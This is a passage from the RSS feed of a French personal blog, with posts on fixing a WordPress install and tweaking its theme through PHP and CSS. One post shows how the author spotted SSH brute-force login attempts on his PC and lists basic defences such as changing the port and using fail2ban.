style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;is_array&lt;/span&gt;($keyArray)) {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#66d9ef&#34;&gt;foreach&lt;/span&gt;($keyArray &lt;span style=&#34;color:#66d9ef&#34;&gt;as&lt;/span&gt; $key &lt;span style=&#34;color:#f92672&#34;&gt;=&amp;gt;&lt;/span&gt; $value) {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            $filledArray[$value] &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; $valueArray[$key];&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; $filledArray;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;pluggablephp&#34;&gt;pluggable.php&#xA;&lt;/h3&gt;&lt;p&gt;Enfin, pour éviter des warnings avec le fonction &lt;strong&gt;setcookie&lt;/strong&gt; qui passe de 6 à 7 paramêtre à la 5.2 de PHP, il faut remplacer les lignes 737 à 739 par les suivantes :&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-php&#34; data-lang=&#34;php&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;setcookie&lt;/span&gt;($auth_cookie_name, $auth_cookie, $expire, &lt;span style=&#34;color:#a6e22e&#34;&gt;PLUGINS_COOKIE_PATH&lt;/span&gt;, &lt;span style=&#34;color:#a6e22e&#34;&gt;COOKIE_DOMAIN&lt;/span&gt;, $secure);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;setcookie&lt;/span&gt;($auth_cookie_name, $auth_cookie, $expire, &lt;span style=&#34;color:#a6e22e&#34;&gt;ADMIN_COOKIE_PATH&lt;/span&gt;, &lt;span style=&#34;color:#a6e22e&#34;&gt;COOKIE_DOMAIN&lt;/span&gt;, $secure);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;setcookie&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;LOGGED_IN_COOKIE&lt;/span&gt;, $logged_in_cookie, $expire, &lt;span style=&#34;color:#a6e22e&#34;&gt;COOKIEPATH&lt;/span&gt;, &lt;span style=&#34;color:#a6e22e&#34;&gt;COOKIE_DOMAIN&lt;/span&gt;, $secure_logged_in_cookie);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Et voilà, l&amp;rsquo;installation passe sans problème. Merci à Petit Nuage ! ;-)&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>Les indiens attaquent !</title>
            <link>https://pled.fr/les-indiens-attaquent/</link>
            <pubDate>Tue, 09 Aug 2011 19:04:19 +0000</pubDate>
            <guid>https://pled.fr/les-indiens-attaquent/</guid>
            <description>&lt;p&gt;&lt;img alt=&#34;connexion entrante&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;port22.png#floatleft&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Hier soir, au moment d&amp;rsquo;aller me coucher, je m&amp;rsquo;aperçois (grâce à &lt;a class=&#34;link&#34; href=&#34;http://www.clapico.com/2011/05/14/conkywizard/&#34;  title=&#34;ConkyWizard expliqué  sur le site de Clapico&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Conky&lt;/a&gt;) que quelqu&amp;rsquo;un essaie de se connecter sur mon PC !&lt;/p&gt;&#xA;&lt;p&gt;Mais que se passe-t-il ? :roll:&lt;/p&gt;&#xA;&lt;p&gt;Le port 22 étant celui de SSH (voir le fichier /etc/services), ma première réaction est d&amp;rsquo;arrêter mon &lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=342&#34;  title=&#34;article pour installer de OpenSSH&#34;&#xA;    &gt;service SSH&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;sudo service ssh stop&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Le service SSH permet de se connecter à distance sur mon PC. Comme tout service, c&amp;rsquo;est donc &amp;ldquo;une porte&amp;rdquo;, et il suffit d&amp;rsquo;avoir la clef (nom utilisateur/mot de passe) pour rentrer. Il faut donc faire attention&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;Je m&amp;rsquo;en sers très peu. Pour m&amp;rsquo;amuser, je l&amp;rsquo;avais fait du boulot à travers un tunnel HTTP&amp;hellip; et d&amp;rsquo;autres fois, pour que des amis récupèrent de gros fichiers, cela peut aussi être utile. Sinon, j&amp;rsquo;avais presque oublié qu&amp;rsquo;il tournait !&lt;/p&gt;&#xA;&lt;p&gt;Revenons à mon problème : histoire de comprendre ce qui se passe, je vais jeter un œil sur les logs grâce au &lt;strong&gt;Visionneur de journaux système&lt;/strong&gt;, et plus particulièrement le fichier &lt;strong&gt;auth.log&lt;/strong&gt; qui gère les authentifications. Et comme attendu, j&amp;rsquo;ai une belle liste de tentatives de connexions (qui échouent bien sûr) :&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;etrait du fichier auth.log&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;371px&#34; data-flex-grow=&#34;154&#34; height=&#34;291&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/les-indiens-attaquent/auth-log-450.png&#34; width=&#34;450&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Alors c&amp;rsquo;est quoi ? c&amp;rsquo;est qui ? les outils d&amp;rsquo;Ubuntu (enfin Linux) vont nous aider : je lance les &lt;strong&gt;Outils réseau&lt;/strong&gt; à partir du &lt;strong&gt;Centre de contrôle&lt;/strong&gt;, et je commence par un &lt;strong&gt;Whois&lt;/strong&gt; sur l&amp;rsquo;adresse IP :&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;résultat de whois&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;304px&#34; data-flex-grow=&#34;126&#34; height=&#34;355&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/les-indiens-attaquent/whois-450.png&#34; width=&#34;450&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Pas de doute, ça vient d&amp;rsquo;Inde ; TATA est l&amp;rsquo;une plus grosses boites du pays, ils font de tout : des voitures, des fringues, des machines à laver&amp;hellip; y compris les services internet plus récemment !&lt;/p&gt;&#xA;&lt;p&gt;On peut aussi faire un &lt;strong&gt;traceroute&lt;/strong&gt; pour voir le chemin utilisé, c&amp;rsquo;est toujours marrant : Paris - Londres - New York - Palo Alto - Singapore - Bombay&amp;hellip; tout ça en moins de 300 millisecondes ! Ah les voyages ! ;-)&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;résultat de traceroute&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;235px&#34; data-flex-grow=&#34;98&#34; height=&#34;459&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/les-indiens-attaquent/traceroute-4501.png&#34; width=&#34;450&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Bon, c&amp;rsquo;est juste pour information en fait&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;Il s&amp;rsquo;agit très certainement d&amp;rsquo;un &amp;ldquo;bot&amp;rdquo; (robot) qui essaie de se connecter sur ma machine (et sur plein d&amp;rsquo;autres) ; sans doute même à partir du PC d&amp;rsquo;une personne qui n&amp;rsquo;en a aucune connaissance (sous Windows comme il se doit). Voilà à quoi peut servir votre PC si vous ne faites pas attention à la sécurité : il peut être utilisé à votre insu et participer à des attaques&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;Que faire alors ? il y a plusieurs solutions, comme toujours :&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Ai-je besoin d&amp;rsquo;avoir le port de ma box ouvert en permanence ? Ai-je besoin d&amp;rsquo;avoir mon service SSH de démarré en permanence ? la réponse est non, donc je devrais activer ce service seulement si j&amp;rsquo;en ai besoin.&lt;/li&gt;&#xA;&lt;li&gt;Le port 22 est le port par défaut, et les attaques se passent souvent sur ce port. Il est très facile de changer le port dans le fichier de configuration (/etc/ssh/sshd_config) pour n&amp;rsquo;importe quel autre. Ainsi les risques d&amp;rsquo;attaque de ce genre sont fortement diminués.&lt;/li&gt;&#xA;&lt;li&gt;activer le paramètre MaxStartups (/etc/ssh/sshd_config) qui va bloquer les connections au bout d&amp;rsquo;un certain nombre de tentatives.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Et si mon PC était un vrai serveur, toujours Up, et que j&amp;rsquo;ai vraiment besoin de sécurité :&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;passer en mode d&amp;rsquo;authentification par clef publique/privée (et plus par mot de passe). Voir &lt;a class=&#34;link&#34; href=&#34;http://doc.ubuntu-fr.org/ssh&#34;  title=&#34;ssh sur la doc ubuntu FR&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;ici&lt;/a&gt; par exemple.&lt;/li&gt;&#xA;&lt;li&gt;utiliser un script comme &lt;a class=&#34;link&#34; href=&#34;http://freshmeat.net/projects/denyhosts/&#34;  title=&#34;Denyhost sur Freshmeat&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Denyhost&lt;/a&gt; : ce script va surveiller le journal de log SSH, interdire les adresses qui tentent de se connecter après un certain nombre de tentatives, et prévenir l&amp;rsquo;administrateur.&lt;/li&gt;&#xA;&lt;li&gt;installer &lt;a class=&#34;link&#34; href=&#34;http://doc.ubuntu-fr.org/fail2ban&#34;  title=&#34;fail2ban sur Ubuntu documentation&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;fail2ban&lt;/a&gt; : ne se limite pas à SSH (mais aussi FTP, Apache, etc&amp;hellip;), et modifie les iptables (le parefeu) pour bannir les machines qui tentent de se connecter. Très efficace !&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Voilà, je vais m&amp;rsquo;en tenir à la première solution, ne démarrer le service SSH que sur besoin, et changer le port par défaut.&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>Modification du thème (fin)</title>
            <link>https://pled.fr/modification-du-theme-trois/</link>
            <pubDate>Thu, 16 Jun 2011 18:05:25 +0000</pubDate>
            <guid>https://pled.fr/modification-du-theme-trois/</guid>
            <description>&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/wp-content/uploads/2011/06/tfe.png&#34; &gt;&lt;img alt=&#34;le nouveau &#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;366px&#34; data-flex-grow=&#34;152&#34; height=&#34;131&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/modification-du-theme-trois/tfe-small.png&#34; width=&#34;200&#34;&gt;&lt;/a&gt; Quelques petites modifications sur le blog&amp;hellip; presque tout est visible sur l&amp;rsquo;image ci-contre.&lt;/p&gt;&#xA;&lt;p&gt;De nouvelles petites icônes (encore, oui, mais cela améliore le rendu), la lecture des archives et de catégories qui affichent à la fois le début de l&amp;rsquo;article ET une image (si l&amp;rsquo;article en contient une), enfin la barre de recherche déplacée vers le haut.&lt;/p&gt;&#xA;&lt;p&gt;Sans oublier le &amp;ldquo;Lire la suite&amp;rdquo; qui s&amp;rsquo;affiche à droite maintenant, avec une petite icône, comme vous pouvez le voir ci-dessous&amp;hellip;.&lt;/p&gt;&#xA;&lt;p&gt;D&amp;rsquo;abord ajout de petites icônes donc, sous le titre des articles pour les catégories et les commentaires (récupérées du thème suffusion); et déplacement de &amp;ldquo;Publié par&amp;hellip;&amp;rdquo; en bas de l&amp;rsquo;article. Petite amélioration certes, mais c&amp;rsquo;est plus joli comme ça. Tout se fait par le CSS, c&amp;rsquo;est assez simple, je ne rentre pas dans les détails.&lt;/p&gt;&#xA;&lt;p&gt;Concernant l&amp;rsquo;affichage des articles par &lt;strong&gt;Catégories&lt;/strong&gt; ou par &lt;strong&gt;Archives&lt;/strong&gt;, j&amp;rsquo;avais remplacé dans le thème la fonction the_content() par the_excerpt() pour n&amp;rsquo;afficher que les premiers mots de chaque article. C&amp;rsquo;est très bien, cela permet de lister les articles plus rapidement, mais la fonction the_excerpt() ne permet pas d&amp;rsquo;afficher les images que je mets souvent en début de chaque article, et c&amp;rsquo;était un peu triste&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;La solution est venue par un plugin appelé « &lt;a class=&#34;link&#34; href=&#34;https://wordpress.org/extend/plugins/thumbnail-for-excerpts/&#34;  title=&#34;Le plugin Thumbnails for Excerpt sur wordpress.org&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Thumbnails for Excerpt&lt;/a&gt; » (TFE) qui permet de le faire très simplement.&lt;/p&gt;&#xA;&lt;p&gt;En même temps, j&amp;rsquo;ai ajouté les lignes suivantes dans le fichier functions.php du thème :&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-php&#34; data-lang=&#34;php&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;function&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;new_excerpt_more&lt;/span&gt;($more) {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;global&lt;/span&gt; $post;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&amp;lt;a href=&amp;#34;&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;get_permalink&lt;/span&gt;($post&lt;span style=&#34;color:#f92672&#34;&gt;-&amp;gt;&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;ID&lt;/span&gt;) &lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&amp;#34;&amp;gt; [.....]&amp;lt;/a&amp;gt;&amp;#39;&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;add_filter&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;excerpt_more&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;new_excerpt_more&amp;#39;&lt;/span&gt;);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Ceci pour que les points de suspensions s&amp;rsquo;affichent sous la forme d&amp;rsquo;un lien pour accéder à l&amp;rsquo;article (trouvé sur le &lt;a class=&#34;link&#34; href=&#34;https://codex.wordpress.org/Function_Reference/the_excerpt&#34;  title=&#34;fonction the_excerpt sur wordpress.org&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;wiki de wordpress&lt;/a&gt;). Le plugin &lt;strong&gt;TFE&lt;/strong&gt; permet quant à lui d&amp;rsquo;afficher l&amp;rsquo;image comme un lien également.&lt;/p&gt;&#xA;&lt;p&gt;Tout se présentait donc très bien, quand j&amp;rsquo;ai vu qu&amp;rsquo;avec certains articles, TFE n&amp;rsquo;affichait pas de lien. Impossible de comprendre pourquoi tel article lui plaisait ou non&amp;hellip; mais reproductible en local sur mon PC en recopiant tel quel le-dit article.&#xA;J&amp;rsquo;ai fini par aller voir dans le code du plugin (fichier thumbnailforexcerpts.php), et supprimer les lignes suivantes :&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-php&#34; data-lang=&#34;php&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;count&lt;/span&gt;($words) &lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; $excerpt_length){&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;array_pop&lt;/span&gt;($words);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;array_push&lt;/span&gt;($words,&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;...&amp;#39;&lt;/span&gt;);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$content&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;implode&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39; &amp;#39;&lt;/span&gt;,$words);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;De cette manière, tout fonctionne parfaitement. Je ne vois pas à quoi sert le test, et il n&amp;rsquo;y a pas de commentaires pour l&amp;rsquo;expliquer. Donc &lt;em&gt;so far so good&lt;/em&gt; comme disent les anglais.&lt;/p&gt;&#xA;&lt;p&gt;Dernière modification, j&amp;rsquo;ai déplacé le champ de recherche à la hauteur du menu en haut de page. Ça fait longtemps que je voulais le faire, cela rend les deux colonnes plus homogènes (le champ recherche décalait celle de droite, c&amp;rsquo;était moins joli).&lt;/p&gt;&#xA;&lt;p&gt;Voilà, je pense que c&amp;rsquo;est la fin pour cette mise à jour du thème. Finalement, c&amp;rsquo;est aussi bien de peaufiner un thème existant, que d&amp;rsquo;en installer un nouveau et de repartir de zéro&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;Il faudra que je me penche maintenant sur l&amp;rsquo;ajout d&amp;rsquo;un menu déroulant&amp;hellip; ce sera pour plus tard.&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>Modification du thème (suite)</title>
            <link>https://pled.fr/modification-du-theme-suite/</link>
            <pubDate>Sat, 28 May 2011 15:54:38 +0000</pubDate>
            <guid>https://pled.fr/modification-du-theme-suite/</guid>
            <description>&lt;p&gt;Deuxième article sur les changements apportés au thème, après &lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=4275&#34;  title=&#34;premier article sur les modifications du thème&#34;&#xA;    &gt;celui-ci&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;h3 id=&#34;les-titres&#34;&gt;Les titres&#xA;&lt;/h3&gt;&lt;p&gt;&lt;img alt=&#34;nouvelle présentation des titres&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;253px&#34; data-flex-grow=&#34;105&#34; height=&#34;191&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/modification-du-theme-suite/titres.png&#34; width=&#34;202&#34;&gt; Le premier changement évident, ce sont les titres des rubriques dans chaque colonne : suppression de l&amp;rsquo;image de fond , et ajout d&amp;rsquo;une ligne en pointillé inférieure. Tout cela se fait avec les définitions CSS, c&amp;rsquo;est donc donc très facile. L&amp;rsquo;idée est de rendre le site plus sobre, la sobriété étant une qualité que j&amp;rsquo;apprécie particulièrement. ;-)&lt;/p&gt;&#xA;&lt;p&gt;J&amp;rsquo;en ai profité pour ajouter un léger effet d&amp;rsquo;ombre, qui donne un peu de relief. Il suffit d&amp;rsquo;ajouter la propriété suivante :&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-css&#34; data-lang=&#34;css&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;span&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;style&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;color: #800000;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;text-shadow&lt;/span&gt;:&lt;span style=&#34;color:#a6e22e&#34;&gt;1px&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;1px&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;1px&lt;/span&gt; #AAA&lt;span style=&#34;color:#f92672&#34;&gt;;&amp;lt;/&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;span&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Propriété que j&amp;rsquo;ai également ajoutée aux titres des articles, en changeant également la couleur quand la souris passe dessus (de orange à gris).&lt;/p&gt;&#xA;&lt;p&gt;Voyons voir un peu les autres modifications : les icônes, les tableaux, et surtout la navigation dont je suis particulièrement satisfait, sans doute parce cela n&amp;rsquo;a pas été simple d&amp;rsquo;arriver à ce que je voulais&amp;hellip;&lt;/p&gt;&#xA;&lt;h3 id=&#34;les-icônes&#34;&gt;Les icônes&#xA;&lt;/h3&gt;&lt;p&gt;Pour afficher les derniers articles &lt;img alt=&#34;icône article&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;240px&#34; data-flex-grow=&#34;100&#34; height=&#34;18&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/modification-du-theme-suite/article.png&#34; width=&#34;18&#34;&gt;, les catégories &lt;img alt=&#34;icône catégorie&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;240px&#34; data-flex-grow=&#34;100&#34; height=&#34;16&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/modification-du-theme-suite/folder.png&#34; width=&#34;16&#34;&gt;, les archives &lt;img alt=&#34;icône archive&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;240px&#34; data-flex-grow=&#34;100&#34; height=&#34;16&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/modification-du-theme-suite/archive.png&#34; width=&#34;16&#34;&gt;, les commentaires &lt;img alt=&#34;icône commentaire&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;240px&#34; data-flex-grow=&#34;100&#34; height=&#34;16&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/modification-du-theme-suite/comment.png&#34; width=&#34;16&#34;&gt; et enfin les liens &lt;img alt=&#34;icône lien&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;240px&#34; data-flex-grow=&#34;100&#34; height=&#34;16&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/modification-du-theme-suite/liens.png&#34; width=&#34;16&#34;&gt;, il y a donc maintenant de jolies petites icônes. Certaines sont récupérées du thème Suffusion et d&amp;rsquo;autres de l&amp;rsquo;ancien plugin WP-dTree (que je ne peux utiliser ni l&amp;rsquo;un ni l&amp;rsquo;autre avec Free ), ou encore de wordpress (celle des liens). Je les ai toutefois modifiées avec GIMP, pour les rendre plus homogènes dans la teinte.&lt;/p&gt;&#xA;&lt;p&gt;Là encore, on passe par les propriétés CSS, et on ajoute l&amp;rsquo;image en background ainsi qu&amp;rsquo;un padding-left de 20 px pour laisser la place à l&amp;rsquo;icône, par exemple :&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-css&#34; data-lang=&#34;css&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;span&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;style&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;color: #800000;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;li&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;liens&lt;/span&gt; { &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&amp;lt;/span&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&amp;lt;span&lt;/span&gt; &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;style=&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;color&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;#800000&lt;/span&gt;;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&amp;#34;&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;list-style&lt;/span&gt;: &lt;span style=&#34;color:#66d9ef&#34;&gt;none&lt;/span&gt;; &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&amp;lt;/span&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&amp;lt;span&lt;/span&gt; &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;style=&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;color&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;#800000&lt;/span&gt;;&lt;span 